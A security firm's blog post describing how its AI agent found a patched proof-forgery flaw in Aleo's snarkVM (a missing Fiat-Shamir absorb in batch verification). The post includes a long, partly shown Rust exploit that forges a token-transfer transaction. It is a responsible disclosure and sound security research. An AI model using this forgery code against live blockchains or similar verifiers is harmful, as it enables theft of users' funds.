Overview
How Veria AI Found an Arbitrary Proof Forgery in Aleo

How Veria AI Found an Arbitrary Proof Forgery in Aleo

Weak Fiat-Shamir Allows Full Proof Forgery

June 15, 2026
20 min read
index

In blockchain, a single vulnerability can drain funds in seconds with no way to recover them. That sets the security bar extremely high, and regular pentests and audits are mandatory.

This blog covers how our AI agent found a critical vulnerability in Aleo’s snarkVM that put the entire value of the chain at risk, and a full technical breakdown of how the forgery actually works. It is one of two vulnerabilities we responsibly disclosed; a separate writeup covers the second (an infinite mint).

This disclosure awarded us the maximum possible bug bounty of $65,000 for the responsible disclosure of this critical vulnerability.

TL;DR

  • We pointed Veria AI at Aleo’s snarkVM and it autonomously found a way to siphon every token held on the chain.
  • The root cause: a missing Fiat-Shamir absorb caused arbitrary proof forgery.
  • The issue: anyone could send any transaction from any known wallet address.
  • The result: Veria alerted core developers who immediately rolled out a fix to validators.
  • The Aleo team was able to scan all mainnet and testnet transactions and conclude that the vulnerability had not been exploited.

About Us

At Veria Labs, we build AI pentesting agents that automatically find and fix security vulnerabilities in your application. Founded by members of the #1 competitive hacking team in the U.S., we’ve found critical vulnerabilities in every company we’ve worked with, from small startups to enterprise giants.

Think we can help secure your systems? We’d love to chat! Book a call here.

The Veria Labs AI Agent

From the beginning of the company, our mission has focused on building an AI agent that can find vulnerabilities no human security engineer has found before, inside extremely dense and large codebases. What better proving ground than a zkVM?

zkVMs are among the hardest codebases to audit in all of security, for three main reasons:

  1. Abstract algebra & pairings: The core of a zkVM is built on polynomials, commitment schemes, and bilinear pairings. This math demands heavy specialization to audit correctly.
  2. The SNARK protocol: Above all the classical cryptography sits the SNARK itself. It contains multiple rounds of polynomial commitments, stitched together by a Fiat-Shamir transform to make it non-interactive.
  3. The VM: The virtual machine itself is another vector, responsible for generating proofs and verifying state changes.

An agent capable of finding vulnerabilities in a zkVM must handle all three factors simultaneously and reason precisely about where a vulnerability does (and does not) exist.

What is Aleo?

Aleo is a privacy-preserving Layer 1 blockchain with a native token (ALEO). By using zero-knowledge proofs, it lets transaction data stay completely private while remaining verifiable on chain.

Every transaction on Aleo is a zk proof. Whether it’s an interaction with a smart contract or a normal transfer, the user proves authorization of the transfer, the total amount of tokens, and that no new money was created, all without revealing who sent what to whom. To make this work, Aleo built their own zkVM (snarkVM) as a general library for arbitrary zk proof generation and verification. snarkVM is then wired into the consensus layer (snarkOS) so every validator on the network runs the same verification logic for every transaction.

Aleo’s snarkVM has gone through multiple rounds of audits from top-tier auditing and pentesting firms, plus continuous internal security review, tooling, and a live bug bounty. That made it the perfect place to stress-test our agent. If you can forge one of these proofs, you don’t just break the zkVM, you break the entire chain.

How Our AI Found It

We left our agent to look through the codebase and ping us whenever it found a bug.

After four hours, it came back with a vulnerability in the polynomial commitment scheme implementation inside snarkVM. Coming from a deep cryptography background, I of course hopped on it immediately to fully confirm and validate the bug. After skimming through snarkVM and cross-referencing how it was used in snarkOS, it was clear the agent had found a critical vulnerability affecting the entire value of the chain.

In short, here’s how it got there:

The agent first spread throughout the codebase, mapping areas likely to contain bugs. On one of its paths, it walked through Varuna, Aleo’s SNARK algorithm. Going through the algorithm round by round, it traced the Fiat-Shamir sponge across all five rounds of the protocol.

When the agent arrived at the last round of Varuna, it found that the very last check (the batched polynomial commitment verification) had a vulnerability: the verifier was squeezing random batch weights without absorbing the witness values they were supposed to bind.

With the bug identified, the agent was tasked to extrapolate it to the entirety of the zkVM. It walked the call graph upward from the vulnerable function all the way to the entrypoint where a user inputs data, and constructed a full PoC to prove it worked. Completely autonomously.

It went from a 400,000-line codebase, to a single vulnerable function, to a full end-to-end program capable of draining every wallet on the chain. In a single run.

The rest of this post is the deep technical breakdown of exactly how that forgery works.

The Longggggg Background

This will get quite math-heavy. Bear with us. Skip to the vulnerability section if this gets too boring.

KZG10

KZG10 is a polynomial commitment scheme that powers the snarkVM. It lets the prover commit to a polynomial p(x)F[x]p(x) \in \mathbb{F}[x] with an elliptic curve point, then prove the evaluation p(z)=vp(z) = v at any point zz with a curve point as an opening proof. snarkVM uses KZG10 over the BLS12-377 pairing curve EE with prime fields Fr\mathbb{F}_r as its scalar field and Fq\mathbb{F}_q as its base field.

The public parameters are G1,G2,\mathbb{G}_1, \mathbb{G}_2, and GT\mathbb{G}_T, with generators G1G1,G2G2G_1 \in \mathbb{G}_1, G_2 \in \mathbb{G}_2 and a bilinear pairing e:G1×G2GTe:\mathbb{G_1} \times \mathbb{G_2} \to \mathbb{G}_T.

Setup

KZG10 requires a trusted setup, which snarkVM implements with “powers of τ\tau” in both source groups of pairings. Let dd be the maximum degree of the committed polynomials (publicly chosen).

srs=([1]1, [τ]1, [τ2]1, , [τd]1, [1]2, [τ]2,...)\mathsf{srs} = \big([1]_1,\ [\tau]_1,\ [\tau^2]_1,\ \dots,\ [\tau^d]_1,\ [1]_2,\ [\tau]_2, ...\big)

where [x]1=xG1G1[x]_1 = x \cdot G_1 \in \mathbb{G}_1, [x]2=xG2G2[x]_2 = x \cdot G_2 \in \mathbb{G}_2, and the private value τFr\tau \in \mathbb{F}_r is discarded after setup.

Commit & Open

A commitment to p(x)=icixip(x) = \sum_i c_i x^i is pp evaluated at τ\tau “in the exponent”:

C=[p(τ)]1=ici[τi]1G1C = [p(\tau)]_1 = \sum_i c_i \cdot [\tau^i]_1 \in \mathbb{G}_1

To open at a point zz, the prover constructs the quotient polynomial

q(x)=p(x)vxzq(x) = \frac{p(x) - v}{x - z}

(which is a polynomial iff p(z)=vp(z) = v, by the factor theorem) and outputs the witness W=[q(τ)]1W = [q(\tau)]_1. Then, reveal (z,v,W)(z,v,W).

Verify

Using the bilinear pairing e:G1×G2GTe: \mathbb{G}_1 \times \mathbb{G}_2 \to \mathbb{G}_T, the verifier checks:

e(C[v]1, [1]2)=?e(W, [τz]2)e\big(C - [v]_1,\ [1]_2\big) \stackrel{?}{=} e\big(W,\ [\tau - z]_2\big)

This holds iff p(τ)v=(τz)q(τ)p(\tau) - v = (\tau - z) \cdot q(\tau) i.e., iff zz is genuinely a root of p(x)vp(x) - v, which is the statement p(z)=vp(z) = v. KZG10’s soundness property rests on the prover not knowing τ\tau. In order to forge a proof for a false evaluation vv, the prover would need to compute [1τz]1[\frac{1}{\tau - z}]_1 from srs\mathsf{srs}. This is assumed to be hard.

SonicKZG10 Batch Verification

In a zkSNARK, many polynomials must open at many different points. For example, a single Aleo transaction’s proof opens roughly a dozen Varuna polynomials at three different challenge points α,β,γ\alpha, \beta, \gamma. Performing one pairing per opening would be horrendously slow in transaction verification, so the SonicKZG10 layer in algorithms/src/polycommit/sonic_pc/mod.rs compresses the batch into a single pairing equation.

Why does this matter so much? Pairings are among the most expensive operations the verifier performs. Every validator on the network must independently re-run this verification for every transaction before accepting it into a block. A naive scheme with one pairing per opening, dozens per transaction, and dozens of transactions per block would heavily inflate validation time. Batching amortizes all of those openings into a single pairing check, keeping Aleo fast.

The verifier samples two kinds of random scalars:

  • Combine all polynomials opened at the same point zjz_j into one virtual polynomial. For a query group at point zjz_j containing p1,j,,pk,j{p_{1,j}, \dots, p_{k,j}} with commitments Ci,j{C_{i,j}} and evaluations vi,j{v_{i,j}}, define: C~j=iξi,jCi,j,v~j=iξi,jvi,j\widetilde{C}_j = \sum_i \xi_{i,j} \cdot C_{i,j}, \qquad \widetilde{v}_j = \sum_i \xi_{i,j} \cdot v_{i,j}
  • Combine the per-point checks across different points zjz_j.

Then the full aggregated check becomes:

e(jρj(C~j[v~j]1+zjWj), [1]2)=?e(jρjWj, [τ]2)e\Big(\sum_j \rho_j \cdot \big(\widetilde{C}_j - [\widetilde{v}_j]_1 + z_j \cdot W_j\big),\ [1]_2\Big) \stackrel{?}{=} e\Big(\sum_j \rho_j \cdot W_j,\ [\tau]_2\Big)

Taking discrete logs through the pairing, this collapses to the scalar identity:

jρj[(p~j(τ)v~j)(τzj)wj]=0 for each honest opening=0\sum_j \rho_j \cdot \underbrace{\left[\left(\widetilde{p}_j(\tau) - \widetilde{v}_j\right) - (\tau - z_j)\cdot w_j\right]}_{=\,0\ \text{for each honest opening}} = 0

For each honest opening, the bracketed term is individually zero (that’s just the KZG identity), so the weighted sum is zero regardless of which ρj\rho_j the verifier picked. The randomizers exist purely to prevent cancellation between malicious terms: if any opening were dishonest by amount δj\delta_j, the sum would be jρjδj\sum_j \rho_j \delta_j, which is non-zero with overwhelming probability over random ρj\rho_j.

Fiat-Shamir

The challenges ξi,j\xi_{i,j} and ρj\rho_j are derived non-interactively via the Fiat-Shamir transform. snarkVM uses a Poseidon sponge S\mathcal{S} over the BLS12-377 base field Fq\mathbb{F}_q (see crypto_hash::PoseidonSponge). Both parties update the sponge identically:

ρj+1S.squeeze_short_nonnative_field_element()\rho_{j+1} \leftarrow \mathcal{S}. \text{squeeze\_short\_nonnative\_field\_element}()

S.absorb(all prover messages so far)\mathcal{S}.\text{absorb}(\text{all prover messages so far})

In order for this to satisfy the soundness property, every prover message that a challenge is meant to bind must be absorbed into the sponge before that challenge is squeezed.

If a prover can choose any message after a challenge that the challenge was supposed to constrain, the randomness goes away and a false proof can be constructed by effectively predicting the random value.

The Vulnerability

Aleo’s snarkVM uses Varuna, a variant of Marlin. Each Aleo transaction carries a Varuna proof attesting that every transition (function call) inside the transaction satisfies its program’s R1CS constraint system.

Stripping out all blockchain-related code, the main zk function for attacking is VarunaSNARK::verify_batch.

VM::check_transaction
└── VM::check_execution_internal
└── Process::verify_execution
└── Trace::verify_execution_proof
└── Trace::verify_batch
└── VerifyingKey::verify_batch
└── VarunaSNARK::verify_batch

Inside this function, the verifier runs the Algebraic Holographic Proof (AHP) round-by-round, absorbing prover commitments and sampling challenges as it goes. The polynomials that ultimately get opened by SonicKZG10 include:

PolynomialAHP RoundQuery PointWhat it encodes
wiw_i (one per batch instance)1β\betaThe private witness for transition ii
maskpoly\mathsf{mask_poly}1β\betaZero-knowledge masking (only in ZK mode)
h0h_02α\alphaRowcheck quotient
g1, h1g_1,\ h_13β\betaUnivariate-sumcheck residual and quotient
ga, gb, gcg_a,\ g_b,\ g_c (per circuit)4γ\gammaMatrix-sumcheck residuals for A,B,CA, B, C
h2h_25γ\gammaMatrix-sumcheck quotient

These get reorganized into linear combinations (e.g. the rowcheck LC at α\alpha, the lineval LC at β\beta, the matrix-sumcheck LC at γ\gamma) and handed to SonicKZG10 as a QuerySet with three distinct query points. On line 1057 of varuna.rs, the sponge has absorbed every commitment from rounds 1–5 plus all claimed evaluations. Then, it passes everything to SonicKZG10::check_combinations (which delegates to batch_check).

batch_check iterates over query groups (one per distinct evaluation point: α,β,γ\alpha, \beta, \gamma). For each group jj, it calls accumulate_elems and then squeezes the next randomizer ρj+1\rho_{j+1}.

for ((_query_name, (query, labels)), p) in query_to_labels_map.into_iter().zip_eq(&proof.0) {
14 collapsed lines
let mut comms_to_combine: Vec<&'_ LabeledCommitment<_>> = Vec::new();
let mut values_to_combine = Vec::new();
for label in labels.into_iter() {
let commitment =
commitments.get(label).ok_or(PCError::MissingPolynomial { label: label.to_string() })?;
let v_i = values
.get(&(label.clone(), *query))
.ok_or(PCError::MissingEvaluation { label: label.to_string() })?;
comms_to_combine.push(commitment);
values_to_combine.push(*v_i);
}
Self::accumulate_elems(
&mut combined_comms,
&mut combined_witness,
&mut combined_adjusted_witness,
vk,
comms_to_combine.into_iter(),
*query,
values_to_combine.into_iter(),
p, // <- contains W_j, Never absorbed into the sponge
Some(randomizer),
fs_rng,
)?;
randomizer = fs_rng.squeeze_short_nonnative_field_element::<E::Fr>();
}

Inside accumulate_elems, the per-query opening challenges ξi,j\xi_{i,j} are squeezed before the bases [vk.vk.g, -proof.w] are folded into the pairing accumulator. The function reads proof.w (which is WjW_j) to update combined_witness, but at no point does any code path call fs_rng.absorb(proof.w).

The mirror image of this bug exists on the prover side in batch_open. An attacker running an offline copy of the Aleo verifier can therefore compute every ρj\rho_j and every ξi,j\xi_{i,j} before picking a single witness. They can compute forged witness polynomials that perfectly balance the aggregated pairing equation, even if the individual statements being proved are completely false.

The Impact

Suppose an attacker wants to forge a proof that transfers tokens from a wallet they don’t own to their own wallet (stealing funds). They run the verifier’s AHP rounds against arbitrarily chosen commitments and evaluations, computing the residual the verifier would see for each query group.

In the PoC, we predicted the random values and constructed witness values that would satisfy the constraints of proof verification and the circuit.

let target = universal_verifier.vk.g * combined_value - combined_commitment;
let witness_0 = target * ((r_0 * (z_0 - z_1)).inverse().unwrap());
let witness_1 = -witness_0 * (r_0 / r_1);
let witness_2 = <Bls12_377 as PairingEngine>::G1Projective::zero();

Concretely, this bug lets anyone:

  1. Pick any wallet on the chain.
  2. Construct a transaction draining that wallet into one the attacker controls.
  3. Generate a forged proof asserting “I am allowed to authorize this transaction and transfer all funds” (which is entirely false).
  4. Broadcast the transaction to the chain and steal the funds.

A forged proof on Aleo doesn’t just mean “an invalid proof gets accepted,” it means “an invalid transaction is accepted and committed to the blockchain.” The signature checks, balance checks, and authorization checks are all bypassed by the forged proof. And because this is a blockchain, once the transaction is broadcast there is no recovery or rollback.

At the time of submission, Aleo’s snarkVM secured the full balance of every wallet on the network. This meant an attacker could submit arbitrary transactions that siphoned funds from every wallet holding any token, effectively the entire value of the chain.

Remediation & Thoughts

Because the vulnerability originated in batch verification rather than some other silently corruptible state-transition, every historical transaction on the chain still carries a proof that can be re-examined. Once the patch was in place, the Aleo team was able to scan all mainnet and testnet transactions and conclude that the vulnerability had not been exploited. No funds were stolen, and the integrity of the shielded pool remains intact.

Could this have been caught earlier? Up until this writeup, Aleo’s snarkVM had gone through multiple rounds of audits from multiple auditing firms. In this case, it seems the issue was missed during the auditing review period. It’s also worth mentioning that formal verification over the Varuna implementation would have caught this bug.

Timeline

  • 04/29/2026 - Vulnerability was identified by our agent
  • 04/30/2026 - Vulnerability was PoC’d and submitted to bug bounty
  • 05/01/2026 - Vulnerability was verified by the Aleo team and patches were issued the same night
  • 05/03/2026 - Patches were tested and rolled out to every validator on mainnet
  • 05/05/2026 - Veria AI receives the maximum bounty

PoC

use super::*;
use console::{
account::{Address, PrivateKey},
network::{ConsensusVersion, FiatShamirParameters, Network, TestnetV0},
program::{Argument, Future, Identifier, Literal, Plaintext, compute_function_id},
types::{Field, U16},
};
use snarkvm_algorithms::{
AlgebraicSponge,
fft::EvaluationDomain,
polycommit::{
kzg10::{KZGCommitment, KZGProof},
sonic_pc::{BatchLCProof, BatchProof, Evaluations as PCEvaluations, LabeledCommitment},
},
snark::varuna::{
AHPForR1CS,
CircuitId,
Commitments,
Evaluations as VarunaEvaluations,
Proof as VarunaProof,
VarunaHidingMode,
VarunaSNARK,
VarunaVersion,
WitnessCommitments,
prover,
witness_label,
},
srs::UniversalVerifier,
};
use snarkvm_curves::{PairingEngine, ProjectiveCurve};
use snarkvm_fields::{One, Zero};
use snarkvm_ledger_block::{Execution, Output, Transaction, Transition};
use snarkvm_ledger_query::{Query, QueryTrait};
use snarkvm_ledger_store::ConsensusStore;
use snarkvm_synthesizer_process::{Process, execution_cost};
use snarkvm_synthesizer_program::StackTrait;
use snarkvm_synthesizer_snark::Proof;
use aleo_std::StorageMode;
use anyhow::{Context, Result, anyhow, ensure};
use itertools::Itertools;
use serde_json::Value as JsonValue;
use snarkvm_ledger_store::helpers::memory::{BlockMemory, ConsensusMemory};
use std::{
collections::{BTreeMap, BTreeSet, HashMap},
env, fs,
ops::Deref,
str::FromStr,
};
type CurrentNetwork = TestnetV0;
type LedgerType = ConsensusMemory<CurrentNetwork>;
type CurrentQuery = Query<CurrentNetwork, BlockMemory<CurrentNetwork>>;
type Pairing = <CurrentNetwork as console::prelude::Environment>::PairingCurve;
type Fr = <Pairing as PairingEngine>::Fr;
type G1 = <Pairing as PairingEngine>::G1Affine;
type G1Projective = <Pairing as PairingEngine>::G1Projective;
type Varuna = VarunaSNARK<Pairing, console::network::FiatShamir<CurrentNetwork>, VarunaHidingMode>;
#[test]
#[ignore = "run explicitly from scripts/submit_credits_tx.py via --rust-forger-cmd"]
fn forge_credits_transfer_public_from_context() -> Result<()> {
let context_path = env::var("SNARKOS_FORGE_CONTEXT").context("SNARKOS_FORGE_CONTEXT is not set")?;
let output_path = env::var("SNARKOS_FORGED_TX").context("SNARKOS_FORGED_TX is not set")?;
let context: JsonValue = serde_json::from_str(&fs::read_to_string(&context_path)?)?;
let endpoint = context_str(&context, "endpoint")?;
let sender_private_key = PrivateKey::<CurrentNetwork>::from_str(context_str(&context, "sender_private_key")?)?;
let sender_address = Address::<CurrentNetwork>::from_str(context_str(&context, "sender_address")?)?;
let recipient_address = Address::<CurrentNetwork>::from_str(context_str(&context, "recipient_address")?)?;
let amount = context
.get("amount_microcredits")
.and_then(JsonValue::as_u64)
.ok_or_else(|| anyhow!("missing amount_microcredits"))?;
let base_fee = context.get("base_fee_microcredits").and_then(JsonValue::as_u64).unwrap_or(100_000);
ensure!(context_str(&context, "program")? == "credits.aleo", "only credits.aleo is supported");
ensure!(context_str(&context, "function")? == "transfer_public", "only transfer_public is supported");
let honest_tx_value = context.get("honest_tx").ok_or_else(|| anyhow!("missing honest_tx"))?.clone();
let honest_transaction: Transaction<CurrentNetwork> = serde_json::from_value(honest_tx_value)?;
let honest_execution =
honest_transaction.execution().ok_or_else(|| anyhow!("honest_tx is not an execute transaction"))?;
ensure!(honest_execution.len() == 1, "expected a single-transition credits.aleo execution");
let original_transition = honest_execution.peek()?;
ensure!(original_transition.program_id().to_string() == "credits.aleo");
ensure!(original_transition.function_name().to_string() == "transfer_public");
ensure!(original_transition.outputs().len() == 1, "expected exactly one future output");
let process = Process::<CurrentNetwork>::load()?;
let query = CurrentQuery::try_from(endpoint)?;
let current_height = query.current_block_height()?;
let consensus_version = CurrentNetwork::CONSENSUS_VERSION(current_height)?;
let varuna_version = match (ConsensusVersion::V1..=ConsensusVersion::V3).contains(&consensus_version) {
true => VarunaVersion::V1,
false => VarunaVersion::V2,
};
println!(
"endpoint height {current_height} resolved to {consensus_version:?}; forging execution proof with {varuna_version:?}"
);
let function_name = Identifier::<CurrentNetwork>::from_str("transfer_public")?;
let network_id = U16::<CurrentNetwork>::new(CurrentNetwork::ID);
let function_id = compute_function_id(&network_id, original_transition.program_id(), &function_name)?;
let tampered_future = Future::<CurrentNetwork>::new(*original_transition.program_id(), function_name, vec![
Argument::Plaintext(Plaintext::from(Literal::Address(recipient_address))),
Argument::Plaintext(Plaintext::from(Literal::Address(sender_address))),
Argument::Plaintext(Plaintext::from_str(&format!("{amount}u64"))?),
]);
let mut preimage: Vec<Field<CurrentNetwork>> = Vec::new();
preimage.push(function_id);
preimage.extend(tampered_future.to_fields()?);
preimage.push(*original_transition.tcm());
preimage.push(Field::<CurrentNetwork>::from_u16(original_transition.inputs().len() as u16));
let new_output_hash = CurrentNetwork::hash_psd8(&preimage)?;
let mut tampered_outputs = original_transition.outputs().to_vec();
tampered_outputs[0] = Output::Future(new_output_hash, Some(tampered_future));
let tampered_transition = Transition::<CurrentNetwork>::new(
*original_transition.program_id(),
*original_transition.function_name(),
original_transition.inputs().to_vec(),
tampered_outputs,
*original_transition.tpk(),
*original_transition.tcm(),
*original_transition.scm(),
)?;
let tampered_with_honest_proof = Execution::<CurrentNetwork>::from(
std::iter::once(tampered_transition.clone()),
honest_execution.global_state_root(),
honest_execution.proof().cloned(),
)?;
let derived_inputs = transition_verifier_inputs(&process, &tampered_with_honest_proof, &network_id)?;
let verifying_key = process
.get_stack(tampered_transition.program_id())?
.get_verifying_key(tampered_transition.function_name())?;
let forged_varuna_proof = forge_varuna_proof_concrete(
CurrentNetwork::varuna_universal_verifier(),
CurrentNetwork::varuna_fs_parameters(),
varuna_version,
verifying_key.deref(),
&derived_inputs,
)?;
let forged_execution = Execution::<CurrentNetwork>::from(
std::iter::once(tampered_transition),
honest_execution.global_state_root(),
Some(Proof::<CurrentNetwork>::new(forged_varuna_proof)),
)?;
let store = ConsensusStore::<CurrentNetwork, LedgerType>::open(StorageMode::new_test(None))?;
let vm = VM::<CurrentNetwork, LedgerType>::from(store)?;
let (minimum_cost, _) = execution_cost(&process, &forged_execution, consensus_version)?;
ensure!(
base_fee >= minimum_cost,
"base_fee_microcredits ({base_fee}) is below local minimum cost ({minimum_cost})"
);
println!("forged execution local minimum base fee: {minimum_cost} microcredits; paying {base_fee}");
let execution_id = forged_execution.to_execution_id()?;
let fee_authorization =
vm.authorize_fee_public(&sender_private_key, base_fee, 0, execution_id, &mut TestRng::default())?;
let forged_fee = vm.execute_fee_authorization(fee_authorization, Some(&query), &mut TestRng::default())?;
let forged_transaction = Transaction::from_execution(forged_execution, Some(forged_fee))?;
fs::write(&output_path, serde_json::to_string_pretty(&forged_transaction)? + "\n")?;
println!(
"wrote forged credits.aleo transaction {} to {}",
forged_transaction.id(),
output_path
);
Ok(())
}
fn context_str<'a>(context: &'a JsonValue, key: &str) -> Result<&'a str> {
context.get(key).and_then(JsonValue::as_str).ok_or_else(|| anyhow!("missing string context key '{key}'"))
}
fn transition_verifier_inputs(
process: &Process<CurrentNetwork>,
execution: &Execution<CurrentNetwork>,
network_id: &U16<CurrentNetwork>,
) -> Result<Vec<Fr>> {
let call_graph = process.construct_call_graph(execution.transitions())?;
let reverse_call_graph = Process::<CurrentNetwork>::reverse_call_graph(&call_graph);
let mut transition_map = HashMap::new();
for transition in execution.transitions() {
let stack = process.get_stack(transition.program_id())?;
let function = stack.get_function(transition.function_name())?;
transition_map.insert(*transition.id(), (transition, function));
}
let mut function_id_cache = HashMap::new();
let transition = execution.peek()?;
let stack = process.get_stack(transition.program_id())?;
let parent = reverse_call_graph.get(transition.id()).and_then(|tid| execution.get_program_id(tid));
let program_checksum = match stack.program().contains_constructor() {
true => Some(*stack.program_checksum_as_field()?),
false => None,
};
process.to_transition_verifier_inputs(
transition,
parent,
&call_graph,
program_checksum,
&transition_map,
&mut function_id_cache,
network_id,
)
}
fn forge_varuna_proof_concrete(
universal_verifier: &UniversalVerifier<Pairing>,
fs_parameters: &FiatShamirParameters<CurrentNetwork>,
varuna_version: VarunaVersion,
verifying_key: &snarkvm_algorithms::snark::varuna::CircuitVerifyingKey<Pairing>,
false_public_inputs: &[Fr],
) -> Result<VarunaProof<Pairing>> {
let public_input_batch = [false_public_inputs.to_vec()];
let mut vks_to_inputs =
BTreeMap::<&snarkvm_algorithms::snark::varuna::CircuitVerifyingKey<Pairing>, &[Vec<Fr>]>::new();
vks_to_inputs.insert(verifying_key, public_input_batch.as_slice());
let zero_commitment = KZGCommitment::<Pairing>::empty();
let batch_sizes = BTreeMap::from([(verifying_key.id, 1usize)]);
let commitments = Commitments {
witness_commitments: vec![WitnessCommitments { w: zero_commitment }],
mask_poly: Some(zero_commitment),
h_0: zero_commitment,
g_1: zero_commitment,
h_1: zero_commitment,
g_a_commitments: vec![zero_commitment],
g_b_commitments: vec![zero_commitment],
g_c_commitments: vec![zero_commitment],
h_2: zero_commitment,
};
let evaluations = VarunaEvaluations {
g_1_eval: Fr::zero(),
g_a_evals: vec![Fr::zero()],
g_b_evals: vec![Fr::zero()],
g_c_evals: vec![Fr::zero()],
};
let third_msg = prover::ThirdMessage {
sums: vec![vec![prover::MatrixSums { sum_a: Fr::zero(), sum_b: Fr::zero(), sum_c: Fr::zero() }]],
};
let fourth_msg =
prover::FourthMessage { sums: vec![prover::MatrixSums { sum_a: Fr::zero(), sum_b: Fr::zero(), sum_c: Fr::zero() }] };
let placeholder_kzg = KZGProof::<Pairing> { w: G1::zero(), random_v: Some(Fr::zero()) };
let empty_pc_proof = BatchLCProof { proof: BatchProof(vec![placeholder_kzg; 3]) };
let mut forged_proof =
VarunaProof::<Pairing>::new(batch_sizes.clone(), commitments, evaluations, third_msg, fourth_msg, empty_pc_proof)?;
let mut max_num_constraints = 0;
let mut max_num_variables = 0;
let mut max_non_zero_domain = None;
let mut public_inputs = BTreeMap::new();
let mut padded_public_vec = Vec::with_capacity(vks_to_inputs.len());
let mut inputs_and_batch_sizes = BTreeMap::new();
let mut circuit_infos = BTreeMap::new();
let mut circuit_ids = Vec::with_capacity(vks_to_inputs.len());
for (&vk, &public_inputs_i) in vks_to_inputs.iter() {
max_num_constraints = max_num_constraints.max(vk.circuit_info.num_constraints);
max_num_variables = max_num_variables.max(vk.circuit_info.num_public_and_private_variables);
let non_zero_domains =
AHPForR1CS::<_, VarunaHidingMode>::cmp_non_zero_domains(&vk.circuit_info, max_non_zero_domain)?;
max_non_zero_domain = non_zero_domains.max_non_zero_domain;
let input_domain = EvaluationDomain::<Fr>::new(vk.circuit_info.num_public_inputs)
.ok_or_else(|| anyhow!("input domain"))?;
let (padded_public_inputs_i, parsed_public_inputs_i): (Vec<_>, Vec<_>) = public_inputs_i
.iter()
.map(|input| {
let input_len = input.len().max(input_domain.size());
let mut new_input = Vec::with_capacity(input_len);
new_input.extend_from_slice(input);
new_input.resize(input_len, Fr::zero());
let unformatted = prover::ConstraintSystem::unformat_public_input(&new_input);
(new_input, unformatted)
})
.unzip();
public_inputs.insert(vk.id, parsed_public_inputs_i);
padded_public_vec.push(padded_public_inputs_i);
circuit_infos.insert(vk.id, &vk.circuit_info);
circuit_ids.push(vk.id);
}
for (i, (vk, &batch_size)) in vks_to_inputs.keys().zip(batch_sizes.values()).enumerate() {
inputs_and_batch_sizes.insert(vk.id, (batch_size, padded_public_vec[i].as_slice()));
}
let max_constraint_domain =
EvaluationDomain::<Fr>::new(max_num_constraints).ok_or_else(|| anyhow!("constraint domain"))?;
let max_variable_domain =
EvaluationDomain::<Fr>::new(max_num_variables).ok_or_else(|| anyhow!("variable domain"))?;
let max_non_zero_domain = max_non_zero_domain.ok_or_else(|| anyhow!("non-zero domain"))?;
let comms = &forged_proof.commitments;
let first_round_info = AHPForR1CS::<Fr, VarunaHidingMode>::first_round_polynomial_info(batch_sizes.iter());
let mut first_comms_consumed = 0;
let mut first_commitments = batch_sizes
.iter()
.flat_map(|(circuit_id, &batch_size)| {
let first_comms = comms.witness_commitments[first_comms_consumed..][..batch_size]
.iter()
.enumerate()
.map(|(j, w_comm)| {
LabeledCommitment::new_with_info(
&first_round_info[&witness_label(*circuit_id, "w", j)],
w_comm.w,
)
});
first_comms_consumed += batch_size;
first_comms
})
.collect_vec();
first_commitments.push(LabeledCommitment::new_with_info(
first_round_info.get("mask_poly").ok_or_else(|| anyhow!("mask_poly info"))?,
comms.mask_poly.ok_or_else(|| anyhow!("mask_poly comm"))?,
));
let second_round_info = AHPForR1CS::<Fr, VarunaHidingMode>::second_round_polynomial_info();
let second_commitments = [LabeledCommitment::new_with_info(&second_round_info["h_0"], comms.h_0)];
let third_round_info = AHPForR1CS::<Fr, VarunaHidingMode>::third_round_polynomial_info(max_variable_domain.size());
let third_commitments = [
LabeledCommitment::new_with_info(&third_round_info["g_1"], comms.g_1),
LabeledCommitment::new_with_info(&third_round_info["h_1"], comms.h_1),
];
let fourth_round_info =
AHPForR1CS::<Fr, VarunaHidingMode>::fourth_round_polynomial_info(circuit_infos.clone().into_iter());
let fourth_commitments = comms
.g_a_commitments
.iter()
.zip_eq(comms.g_b_commitments.iter())
.zip_eq(comms.g_c_commitments.iter())
.zip_eq(circuit_ids.iter())
.flat_map(|(((g_a, g_b), g_c), circuit_id)| {
[
LabeledCommitment::new_with_info(&fourth_round_info[&witness_label(*circuit_id, "g_a", 0)], *g_a),
LabeledCommitment::new_with_info(&fourth_round_info[&witness_label(*circuit_id, "g_b", 0)], *g_b),
LabeledCommitment::new_with_info(&fourth_round_info[&witness_label(*circuit_id, "g_c", 0)], *g_c),
]
})
.collect_vec();
let fifth_round_info = AHPForR1CS::<Fr, VarunaHidingMode>::fifth_round_polynomial_info();
let fifth_commitments = [LabeledCommitment::new_with_info(&fifth_round_info["h_2"], comms.h_2)];
let circuit_commitments = vks_to_inputs.keys().map(|vk| vk.circuit_commitments.as_slice());
let mut sponge = Varuna::init_sponge(fs_parameters, &inputs_and_batch_sizes, circuit_commitments.clone());
Varuna::absorb_labeled(&first_commitments, &mut sponge);
let (_, verifier_state) = AHPForR1CS::<_, VarunaHidingMode>::verifier_first_round(
&batch_sizes,
&circuit_infos,
max_constraint_domain,
max_variable_domain,
max_non_zero_domain,
&mut sponge,
)?;
Varuna::absorb_labeled(&second_commitments, &mut sponge);
let (_, verifier_state) =
AHPForR1CS::<_, VarunaHidingMode>::verifier_second_round(verifier_state, &mut sponge, varuna_version)?;
let verifier_state = match varuna_version {
VarunaVersion::V1 => verifier_state,
VarunaVersion::V2 => {
Varuna::absorb_sums(&forged_proof.third_msg.sums.clone().into_iter().flatten().collect_vec(), &mut sponge);
let (_, verifier_state) = AHPForR1CS::<_, VarunaHidingMode>::verifier_prepare_third_round(
verifier_state,
&batch_sizes,
&circuit_infos,
&mut sponge,
)?;
verifier_state
}
};
match varuna_version {
VarunaVersion::V1 => Varuna::absorb_labeled_with_sums(
&third_commitments,
&forged_proof.third_msg.sums.clone().into_iter().flatten().collect_vec(),
&mut sponge,
),
VarunaVersion::V2 => Varuna::absorb_labeled(&third_commitments, &mut sponge),
}
let (_, verifier_state) = AHPForR1CS::<_, VarunaHidingMode>::verifier_third_round(verifier_state, &mut sponge)?;
Varuna::absorb_labeled_with_sums(&fourth_commitments, &forged_proof.fourth_msg.sums, &mut sponge);
let (_, verifier_state) = AHPForR1CS::<_, VarunaHidingMode>::verifier_fourth_round(verifier_state, &mut sponge)?;
Varuna::absorb_labeled(&fifth_commitments, &mut sponge);
let verifier_state = AHPForR1CS::<_, VarunaHidingMode>::verifier_fifth_round(verifier_state, &mut sponge)?;
let (query_set, verifier_state) = AHPForR1CS::<_, VarunaHidingMode>::verifier_query_set(verifier_state);
sponge.absorb_nonnative_field_elements(forged_proof.evaluations.to_field_elements());
let mut evaluations = PCEvaluations::new();
